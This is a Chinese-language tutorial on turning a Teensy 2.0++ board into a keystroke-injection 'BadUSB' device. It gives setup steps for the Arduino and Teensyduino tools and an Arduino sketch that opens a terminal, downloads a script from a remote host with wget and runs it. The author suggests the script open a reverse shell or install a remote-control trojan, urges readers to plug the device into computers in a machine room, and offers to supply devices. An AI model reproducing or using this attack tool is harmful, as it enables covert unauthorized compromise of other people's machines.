0x01:环境及所需
在linux环境下实现的,windows下如何实现,应该差不多,只要装上所需的东西即可.
1.首先安装arduino开发工具,及arduino IDE,下载地址.https://pan.baidu.com/s/1mhL2TAS
在linux系统下,下载后直接解压这个文件到/opt/目录
2.下载 49-teensy.rules文件,该文件用于teensy插件以什么角色运行.
下载地址:https://pan.baidu.com/s/1hsI31cC
下载后,执行命令: sudo cp 49-teensy.rules /etc/udev/rules.d/
3.下载TeensyduinoInstall.linux64文件,这个相当于teensy在arduino的插件,有了它,你打开arduino的时候,可以看到teensy选项
下载地址:https://pan.baidu.com/s/1jICtMwm
下载后,执行chmod +x TeensyduinoInstall.linux64
然后打开这个程序进行安装,安装时,注意选择arduino的路径.即/opt/arduino-1.6.11/ 目录
3.启动arduino,直接在命令行执行 /opt/arduino-1.6.11/arduino 即可启动,或者手动切换到对应的目录下,启动即可.
0x02:工作原理及说明
1.就是根据teensy的脚本方式,写一段脚本,把要实现的功能写出来,然后通过arduino工具,将脚本写入teensy2.0++ 型号的U盘里.
插入电脑后,就会自动执行你写入的脚本.其实就是模拟键盘按键,执行相应的命令操作.
0x03:实际操作及脚本demo
1.先打开arduino,
有两个地方需要更改一下,
开发板选择Teensy2.0++
USB Type:”Keyboard+ Mouse + Joystick”
其他默认即可.
2.新建个脚本,然后开始写入.
提供一个linux下的demo
#define TYPESPEED 15
void setup()
{
delay(5000);
terminal();
delay(2000);
Keyboard.println(“wget http://xxx.xxx.xxx/linux.sh -O xxoo.sh”);
delay(40000);
Keyboard.println(“chmod +x xxoo.sh”);
Keyboard.println(“./xxoo.sh”);
delay(2000);
Keyboard.println(“exit”);}
void loop()
{}
void terminal()
{
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.send_now();
Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT);
Keyboard.send_now();
Keyboard.set_key1(KEY_T);
Keyboard.send_now();delay(100);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();}
这个看的懂的话,会明白大概的意思就是,打开一个终端,然后在终端上下载一个脚本并执行.
至于这个脚本里是什么,自行意淫啊.例如反弹个端口,或者下载个远控并执行.等等….
3.写进teensy2.0++里面.
脚本写完以后,ctrl+s保存一下.
并点击arduino工具中的对号(勾),进行验证脚本是否存在问题,
没问题了,点击向右的箭头,即上传脚本到teensy2.0++里面,上传成功后,按一下teensy2.0++上的按钮.就OK了.
0x04:如何利用?
带上它,到机房,插谁谁怀孕,前提是Linux系统,windows系统的脚本,自行百度.
具体要实现什么功能,自己参照demo,如果你有更好的猥琐的姿势,可以告诉我….
Let me try=.=.
End
另:需要Teensy2.0++的联系我.